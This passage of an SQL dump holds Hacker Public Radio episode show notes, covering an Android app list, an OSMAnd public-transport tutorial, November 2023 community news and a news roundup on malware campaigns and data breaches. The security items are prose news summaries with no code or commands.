href=\"https://f-droid.org/en/packages/de.danoeh.antennapod\"\ntitle=\"Antennapod\">Antennapod</a></li>\n</ul>\n<h4 id=\"tusky\">Tusky</h4>\n<ul>\n<li><a href=\"https://f-droid.org/en/packages/com.keylesspalace.tusky\"\ntitle=\"Tusky for Mastodon\">Tusky for Mastodon</a></li>\n</ul>\n<h4 id=\"k-9-mail-client\">K-9 mail client</h4>\n<ul>\n<li><a href=\"https://f-droid.org/en/packages/com.fsck.k9/\"\ntitle=\"K-9 mail client\">K-9 mail client</a></li>\n</ul>\n<h4 id=\"viber\">Viber</h4>\n<ul>\n<li><p><a href=\"https://www.viber.com/en/download\"\ntitle=\"Viber\">Viber</a></p>\n<ul>\n<li>Android and Fedora/Ubuntu desktop app</li>\n<li>App image</li>\n</ul></li>\n</ul>\n<h4 id=\"audio-recorder\">Audio recorder</h4>\n<ul>\n<li><p><a\nhref=\"https://f-droid.org/en/packages/com.github.axet.audiorecorder\"\ntitle=\"Audio recorder: F-droid\">Audio recorder: F-droid</a></p></li>\n<li><p><a href=\"https://gitlab.com/axet/android-audio-recorder\"\ntitle=\"Audio recorder: F-droid\">Audio recorder: Gitlab</a></p></li>\n</ul>\n<h4 id=\"x-plore-dual-pane-file-manager\">X-plore dual-pane file\nmanager</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=com.lonelycatgames.Xplore&amp;gl=US\"\ntitle=\"X-plore dual-pane file manager\">X-plore dual-pane file\nmanager</a></li>\n</ul>\n<h4 id=\"librera-e-book-reader-for-pdf-epub\">Librera E-book Reader: for\nPDF, EPUB</h4>\n<ul>\n<li><p><a\nhref=\"https://play.google.com/store/apps/details?id=com.foobnix.pdf.reader&amp;gl=US\"\ntitle=\"Librera E-book Reader\">Librera E-book Reader</a></p>\n<ul>\n<li><strong>Books</strong>\n<ul>\n<li><p>Star Wars: Dark Tide I: Onslaught</p>\n<p><em>The New Jedi Order #2</em></p>\n<ul>\n<li><a\nhref=\"https://openlibrary.org/books/OL9433767M/Star_Wars_Dark_Tide_I_Onslaught\"\ntitle=\"Star Wars Dark Tide I: Onslaught e-book\">Star Wars Dark Tide I:\nOnslaught</a></li>\n</ul></li>\n<li><p>Boba Fett: A Practical Man</p>\n<ul>\n<li><a\nhref=\"https://starwars.fandom.com/wiki/Boba_Fett:_A_Practical_Man\"\ntitle=\"Boba Fett: A Practical Man\">Boba Fett: A Practical Man</a></li>\n</ul></li>\n</ul></li>\n</ul></li>\n</ul>\n<h4 id=\"multi-timer\">Multi Timer</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=org.catfantom.multitimer\"\ntitle=\"Multi Timer\">Multi Timer</a></li>\n</ul>\n<p>US Amateur Radio Band Plan</p>\n<ul>\n<li><p><a\nhref=\"https://play.google.com/store/apps/details?id=com.kimbrelk.ham&amp;gl=US\"\ntitle=\"US Amateur Radio Band Plan\">US Amateur Radio Band Plan</a></p>\n<ul>\n<li>Quick reference of band and privilege restrictions</li>\n</ul></li>\n</ul>\n',318,0,0,'CC-BY-SA','Android, Android apps, Mobile phone, Custom launcher',0,0,1),
(3725,'2022-11-11','How to use OSMAnd with Public Transport ',124,'Ken shows you how to use this mapping tool to display transit routes in your area.','<p>\r\n<a href=\"/eps/hpr3725/hpr3725/01.jpeg\"><img src=\"/eps/hpr3725/hpr3725/01.jpeg\" alt=\"\" /></a><br />\r\nMap of Dublin showing the Temple Bar tourist area. A red arrow points to where you can change the profile.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/hpr3725/02.jpeg\"><img src=\"/eps/hpr3725/hpr3725/02.jpeg\" alt=\"\" /></a><br />\r\nWith the Configure Map &gt; Profile selection menu open, a red square surrounds the Bus icon to indicate the \"public transport\" profile is now selected.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/hpr3725/03.jpeg\"><img src=\"/eps/hpr3725/hpr3725/03.jpeg\" alt=\"\" /></a><br />\r\nThe map now opens to show more information about public transport is now displayed on the map. This is highlighted with a red square.<br />\r\nClicking the bustop (highlighted with a red circle ) will show more information about the routes available at this location.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/hpr3725/04.jpeg\"><img src=\"/eps/hpr3725/hpr3725/04.jpeg\" alt=\"\" /></a><br />\r\nOnce the transport stop is selected, a list of all the routes that service this location are displayed. Along with other routes that are available within a short distance.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/hpr3725/05.jpeg\"><img src=\"/eps/hpr3725/hpr3725/05.jpeg\" alt=\"\" /></a><br />\r\nClicking any of the routes numbers/names will give a zoomed out map showing in red the route many of the stops towards it\'s source and destination.\r\n</p>\r\n',30,0,0,'CC-BY-SA','OSMAnd, OSM, Maps, Public Transport',0,0,1),
(4001,'2023-12-04','HPR Community News for November 2023',3496,'HPR Volunteers talk about shows released and comments posted in November 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3978/index.html\" target=\"_blank\">3978</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3978/index.html\" target=\"_blank\">Driving in Virginia.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3979/index.html\" target=\"_blank\">3979</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3979/index.html\" target=\"_blank\">FireStick and ad blocking</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3980/index.html\" target=\"_blank\">3980</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-11-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3980/index.html\" target=\"_blank\">Huntsville to Vicksburg</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3981/index.html\" target=\"_blank\">3981</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-11-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3981/index.html\" target=\"_blank\">HPR Community News for October 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3982/index.html\" target=\"_blank\">3982</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-11-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3982/index.html\" target=\"_blank\">Conversation with ChatGPT</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3983/index.html\" target=\"_blank\">3983</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3983/index.html\" target=\"_blank\">ChatGPT Output is not compatible with CC-BY-SA</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3984/index.html\" target=\"_blank\">3984</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3984/index.html\" target=\"_blank\">Whoppers. How Archer72 and I made moonshine. Volume one.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3985/index.html\" target=\"_blank\">3985</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-11-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3985/index.html\" target=\"_blank\">Bash snippet - be careful when feeding data to loops</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3986/index.html\" target=\"_blank\">3986</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-11-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3986/index.html\" target=\"_blank\">Optical media is not dead</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3987/index.html\" target=\"_blank\">3987</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-11-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3987/index.html\" target=\"_blank\">The Grim Dawn</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3988/index.html\" target=\"_blank\">3988</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3988/index.html\" target=\"_blank\">Beeper.com</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3989/index.html\" target=\"_blank\">3989</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3989/index.html\" target=\"_blank\">LastPass Security Update 1 November 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3990/index.html\" target=\"_blank\">3990</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-11-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3990/index.html\" target=\"_blank\">Playing Alpha Centauri, Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3991/index.html\" target=\"_blank\">3991</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-11-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3991/index.html\" target=\"_blank\">YOU ARE A PIRATE </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3992/index.html\" target=\"_blank\">3992</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-11-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3992/index.html\" target=\"_blank\">Test recording on a wireless mic</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3993/index.html\" target=\"_blank\">3993</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3993/index.html\" target=\"_blank\">z80 membership card</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0326.html\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3994/index.html\" target=\"_blank\">3994</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3994/index.html\" target=\"_blank\">Lastpass Response</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html\" target=\"_blank\">3995</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-11-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html\" target=\"_blank\">Creating Your Own Internet Radio Streaming Device</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0152.html\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3996/index.html\" target=\"_blank\">3996</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-11-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3996/index.html\" target=\"_blank\">Holiday Challenges Series - Ep 1 - Advent of Code</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3997/index.html\" target=\"_blank\">3997</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-11-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3997/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3998/index.html\" target=\"_blank\">3998</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-11-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3998/index.html\" target=\"_blank\">Using open source OCR to digitize my mom\'s book</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0194.html\" target=\"_blank\">Deltaray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3999/index.html\" target=\"_blank\">3999</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-11-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3999/index.html\" target=\"_blank\">Holiday Challenges Series Ep 02 TryHackMe Advent of Cyber Challenge</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 13 comments in total.</p>\n\n<h3>This month\'s shows</h3>\n<p>There are 13 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3978/index.html#comments\" target=\"_blank\">hpr3978</a></strong>\n(2023-11-01) \"<em>Driving in Virginia.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3978/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-11-05:\n\"Good show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3981/index.html#comments\" target=\"_blank\">hpr3981</a></strong>\n(2023-11-06) \"<em>HPR Community News for October 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3981/index.html#1\" target=\"_blank\">Comment 1</a>:\nHobson Lane (hobs) on 2023-11-06:\n\"Ken\'s comment about demand avoidance\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3984/index.html#comments\" target=\"_blank\">hpr3984</a></strong>\n(2023-11-09) \"<em>Whoppers. How Archer72 and I made moonshine. Volume one.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3984/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-11-09:\n\"Really?  You are sharing this with the world?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3989/index.html#comments\" target=\"_blank\">hpr3989</a></strong>\n(2023-11-16) \"<em>LastPass Security Update 1 November 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3989/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-11-17:\n\"Changing passowrds\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3991/index.html#comments\" target=\"_blank\">hpr3991</a></strong>\n(2023-11-20) \"<em>YOU ARE A PIRATE </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3991/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-11-25:\n\"Loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3993/index.html#comments\" target=\"_blank\">hpr3993</a></strong>\n(2023-11-22) \"<em>z80 membership card</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0326.html\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3993/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-11-22:\n\"What fun!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3994/index.html#comments\" target=\"_blank\">hpr3994</a></strong>\n(2023-11-23) \"<em>Lastpass Response</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3994/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-11-29:\n\"Loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html#comments\" target=\"_blank\">hpr3995</a></strong>\n(2023-11-24) \"<em>Creating Your Own Internet Radio Streaming Device</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0152.html\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html#1\" target=\"_blank\">Comment 1</a>:\nbittin on 2023-11-24:\n\"another tip\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2023-11-24:\n\"Live radio secure streaming?\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html#3\" target=\"_blank\">Comment 3</a>:\nClaudioM on 2023-11-29:\n\"Re: another tip\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3995/index.html#4\" target=\"_blank\">Comment 4</a>:\nClaudioM on 2023-11-29:\n\"Re: Live radio secure streaming?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3998/index.html#comments\" target=\"_blank\">hpr3998</a></strong>\n(2023-11-29) \"<em>Using open source OCR to digitize my mom\'s book</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0194.html\" target=\"_blank\">Deltaray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3998/index.html#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-11-29:\n\"good show\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3998/index.html#2\" target=\"_blank\">Comment 2</a>:\nDeltaray on 2023-12-03:\n\"Thanks\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-November/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-November/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"new-years-eve-show\">New Year\'s Eve show</h3>\n<p>As is now traditional on HPR, there will be a recording made on\nMumble where interested parties may come together to chat. Details will\nbe made available on the website soon, but if you want to join in, the\nofficial times will be:</p>\n<pre><code>Start at:     Sunday 2023-12-31 10:00 +0000\nEnd at:       Monday 2024-01-01 12:00 +0000</code></pre>\n<h3 id=\"static-site\">Static Site</h3>\n<ul>\n<li><p>In November we finally seem to have perfected the algorithm for\ncomputing the days to the next free slot! The <a\nhref=\"https://hackerpublicradio.org/index.html\">index page</a> contains\nthe result of this, used in the sentence:</p>\n<blockquote>\n<p>If you record your show now it could be released in\n<strong>X</strong> days.</p>\n</blockquote>\n<p>It initially proved to be difficult to achieve this using a\ncombination of database and template computations. The lessons have been\nlearnt (hopefully).</p></li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3714,'2022-10-27','The News with Some Guy On the Internet',609,'Threat Analysis','<h1 id=\"threat-analysis-your-attack-surface\">Threat Analysis; your\nattack surface.</h1>\n<h2 id=\"the-hacker-news\">The Hacker News</h2>\n<h3\nid=\"new-chinese-malware-attack-framework-targets-windows-macos-and-linux-systems\">New\nChinese Malware Attack Framework Targets Windows, macOS, and Linux\nSystems.</h3>\n<p>A previously undocumented command-and-control (C2) framework dubbed\nAlchimist is likely being used in the wild to target Windows, macOS, and\nLinux systems.</p>\n<p>\"Alchimist C2 has a web interface written in Simplified Chinese and\ncan generate a configured payload, establish remote sessions, deploy\npayloads to the remote machines, capture screenshots, perform remote\nshellcode execution, and run arbitrary commands,\" Cisco Talos said in a\nreport shared with The Hacker News. Written in GoLang, Alchimist is\ncomplemented by a beacon implant called Insekt, which comes with remote\naccess features that can be instrumented by the C2 server.&#x201D;</p>\n<p>\"Since Alchimist is a single-file based ready-to-go C2 framework, it\nis difficult to attribute its use to a single actor such as the authors,\nAPTs, or crimeware syndicates.\"</p>\n<p>The trojan, for its part, is equipped with features typically present\nin backdoors of this kind, enabling the malware to get system\ninformation, capture screenshots, run arbitrary commands, and download\nremote files, among others.</p>\n<p>Alchimist C2 panel further features the ability to generate first\nstage payloads, including PowerShell and wget code snippets for Windows\nand Linux, potentially allowing an attacker to flesh out their infection\nchains to distribute the Insekt RAT binary. The instructions could then\nbe potentially embedded in a maldoc attached to a phishing email that,\nwhen opened, downloads and launches the backdoor on the compromised\nmachine. What\'s more, the Linux version of Insekt is capable of listing\nthe contents of the \".ssh\" directory and even adding new SSH keys to the\n\"~/.ssh/authorized_keys\" file to facilitate remote access over SSH.</p>\n<h2 id=\"the-hacker-news-1\">The Hacker News</h2>\n<h3\nid=\"hackers-using-vishing-to-trick-victims-into-installing-android-banking-malware\">Hackers\nUsing Vishing to Trick Victims into Installing Android Banking\nMalware.</h3>\n<p>Malicious actors are resorting to voice phishing (vishing) tactics to\ndupe victims into installing Android malware on their devices.</p>\n<p>The Dutch mobile security company said it identified a network of\nphishing websites targeting Italian online-banking users that are\ndesigned to get hold of their contact details.</p>\n<p>Telephone-oriented attack delivery (TOAD), as the social engineering\ntechnique is called, involves calling the victims using previously\ncollected information from the fraudulent websites.</p>\n<p>The caller, who purports to be a support agent for the bank,\ninstructs the individual on the other end of the call to install a\nsecurity app and grant it extensive permissions, when, in reality, it\'s\nmalicious software intended to gain remote access or conduct financial\nfraud.</p>\n<p>What\'s more, the infrastructure utilized by the threat actor has been\nfound to deliver a second malware named SMS Spy that enables the\nadversary to gain access to all incoming SMS messages and intercept\none-time passwords (OTPs) sent by banks.</p>\n<p>The new wave of hybrid fraud attacks presents a new dimension for\nscammers to mount convincing Android malware campaigns that have\notherwise relied on traditional methods such as Google Play Store\ndroppers, rogue ads, and smishing.</p>\n<h2 id=\"the-hacker-news-2\">The Hacker News</h2>\n<h3\nid=\"64000-additional-patients-impacted-by-omnicell-data-breach---what-is-your-data-breach-action-plan\">64,000\nAdditional Patients Impacted by Omnicell Data Breach - What is Your Data\nBreach Action Plan?</h3>\n<p>Founded in 1992, Omnicell is a leading provider of medication\nmanagement solutions for hospitals, long-term care facilities, and\nretail pharmacies. On May 4, 2022, Omnicell\'s IT systems and third-party\ncloud services were affected by ransomware attacks which may lead to\ndata security concerns for employees and patients. While it is still\nearly in the investigation, this appears to be a severe breach with\npotentially significant consequences for the company.</p>\n<p>Omnicell began informing individuals whose information may have been\ncompromised on August 3, 2022. Hackers may be able to access and sell\npatient-sensitive information, such as social security numbers, due to\nthe time delay between the breach and the company\'s report of affected\npatients.</p>\n<p>The type of information that may be exposed are:</p>\n<ul>\n<li>Credit card information.</li>\n<li>Financial information.</li>\n<li>Social security numbers.</li>\n<li>Driver\'s license numbers.</li>\n<li>Health insurance details.</li>\n</ul>\n<p>The healthcare industry is one of the most targeted sectors globally,\nwith attacks doubling year over year. And these costs are measured in\nmillions or even billions of dollars - not to mention increased risks\nfor patients\' privacy (and reputation).</p>\n<h2 id=\"the-washington-post\">The Washington Post</h2>\n<h3 id=\"how-to-protect-schools-getting-whacked-by-ransomware\">How to\nprotect schools getting whacked by ransomware.</h3>\n<p>Ransomware gangs are taking Americans to school. So far this year,\nhackers have taken hostage at least 1,735 schools in 27 districts; the\nmassive Los Angeles Unified School District is their latest target.</p>\n<p>Ransomware hackers breach computers, lock them up, steal sensitive\ndata and demand money to release their hold on organizations&#x2019; critical\nsystems. These criminals often attack schools because they are\nprofitable targets. If all ransomware victims refused to pay, the\nattacks would stop. Indeed, paying up might be illegal: The <a\nhref=\"https://home.treasury.gov/news/press-releases/jy0364\">Treasury\nDepartment released guidance</a> last year noting that giving money to\nglobal criminal organizations can violate sanctions law.</p>\n<p>The trouble is, saying no isn&#x2019;t always easy. Los Angeles didn&#x2019;t\ncapitulate, and the criminals leaked a trove of data &#x2014; a consequence\nthat can prove more or less serious depending on the sensitivity of the\nstolen information.</p>\n<p>&#x201C;Because we can,&#x201D; said a representative of the ransomware gang that\ntook down Los Angeles Unified School District, explaining the\ncollective&#x2019;s motivations to a Bloomberg News reporter. Schools&#x2019; task is\nto turn &#x201C;can&#x201D; to &#x201C;can&#x2019;t&#x201D; &#x2014; or, at least, to make success pay a whole lot\nless.</p>\n<h2 id=\"cnet-news\">CNET News.</h2>\n<h3\nid=\"verizon-alerts-prepaid-customers-to-recent-security-breach\">Verizon\nAlerts Prepaid Customers to Recent Security Breach.</h3>\n<p>Verizon notified prepaid customers this week of a recent cyberattack\nthat granted third-party actors access to their accounts, as reported\nearlier Tuesday by BleepingComputer. The attack occurred between Oct. 6\nand Oct. 10 and affected 250 Verizon prepaid customers.</p>\n<p>The breach exposed the last four digits of customers\' credit cards\nused to make payments on their prepaid accounts. While no full credit\ncard information was accessible, the information was enough to grant the\nattackers access to Verizon user accounts, which hold semi-sensitive\ndata such \"name, telephone number, billing address, price plans, and\nother service-related information,\" per a notice from Verizon.</p>\n<p>Account access also potentially enabled attackers to process\nunauthorized SIM card changes on prepaid lines. Also known as SIM\nswapping, unauthorized SIM card changes can allow for the transfer of an\nunsuspecting person\'s phone number to another phone.</p>\n<p>From there, the counterfeit phone can be used to receive SMS messages\nfor password resets and user identification verifications on other\naccounts, giving attackers potential access to any account they have, or\ncan guess, the username for. Consequently, Verizon recommended affected\ncustomers secure their non-Verizon accounts such as social media,\nfinancial, email and other accounts that allow for password resets by\nphone.</p>\n',391,0,0,'CC-BY-SA','Threat Analysis, Security Breach, Ransomware, Data Breach, TOAD',0,0,1),
